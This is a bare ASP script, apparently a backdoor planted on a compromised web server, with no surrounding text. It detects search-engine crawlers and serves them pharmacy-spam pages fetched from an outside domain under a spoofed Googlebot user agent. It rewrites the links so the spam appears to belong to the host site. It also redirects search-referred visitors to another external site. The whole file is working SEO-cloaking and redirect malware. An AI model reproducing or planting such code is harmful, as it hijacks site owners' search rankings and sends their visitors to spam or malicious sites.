<%on error resume next function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","Yahoo","bingbot","MSNBot","baiduspider") for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function Function getHTTPPage(URL) Set HTTPReq=Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET",URL,False HTTPReq.setRequestHeader "User-Agent","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" HTTPReq.setRequestHeader "Referer","http://www.googlebot.com/bot.html" HTTPReq.send If HTTPReq.readyState<>4 Then Exit Function end if getHTTPPage=Bytes2bStr(HTTPReq.responseBody) Set HTTPReq=Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream=Server.CreateObject("ADODB.Stream") BytesStream.Type=2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position=0 BytesStream.Charset="utf-8" BytesStream.Position=2 StringReturn=BytesStream.ReadText BytesStream.close Set BytesStream=Nothing Bytes2bStr=StringReturn End Function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) if urlrefer="" then fromse= false searray=array("google","yahoo","bing","msn","baidu") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function if (isspider()=true) then htmls = getHTTPPage("https://cialis-viagra-tw.org/"&request("classid")&request.ServerVariables("QUERY_STRING")) htmls=replace(htmls,"cnzz","") htmls=replace(htmls,"js","") htmls=replace(htmls,"https://cialis-viagra-tw.org/","http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(34)&"/","href"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(39)&"/","href"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(34)&"","href"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(39)&"","href"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"src"&chr(61)&""&chr(34)&"/","src"&chr(61)&""&chr(34)&"https://cialis-viagra-tw.org/") htmls=replace(htmls,"src"&chr(61)&""&chr(39)&"/","src"&chr(61)&""&chr(39)&"https://cialis-viagra-tw.org/") htmls=replace(htmls,"src"&chr(61)&""&chr(34)&"","src"&chr(61)&""&chr(34)&"https://cialis-viagra-tw.org/") htmls=replace(htmls,"src"&chr(61)&""&chr(39)&"","src"&chr(61)&""&chr(39)&"https://cialis-viagra-tw.org/") htmls=replace(htmls,"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?/","https://cialis-viagra-tw.org//") htmls=replace(htmls,"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?includes/","https://cialis-viagra-tw.org/includes/") htmls=replace(htmls,"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?images/","https://cialis-viagra-tw.org/images/") htmls=replace(htmls,""&chr(34)&"https://cialis-viagra-tw.org/http",""&chr(34)&"http") htmls=replace(htmls,""&chr(39)&"https://cialis-viagra-tw.org/http",""&chr(39)&"http") htmls=replace(htmls,"href"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?","href"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?","href"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?http",""&chr(34)&"http") htmls=replace(htmls,""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?http",""&chr(39)&"http") htmls=replace(htmls,"src"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?","src"&chr(61)&""&chr(34)&"https://cialis-viagra-tw.org/") htmls=replace(htmls,"src"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?","src"&chr(61)&""&chr(39)&"https://cialis-viagra-tw.org/") response.write htmls end if if (fromse()) then dim lan lan=Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") if instr(lan,"zh-cn")=0 then response.redirect("https://www.indianav.com/") end if end if %>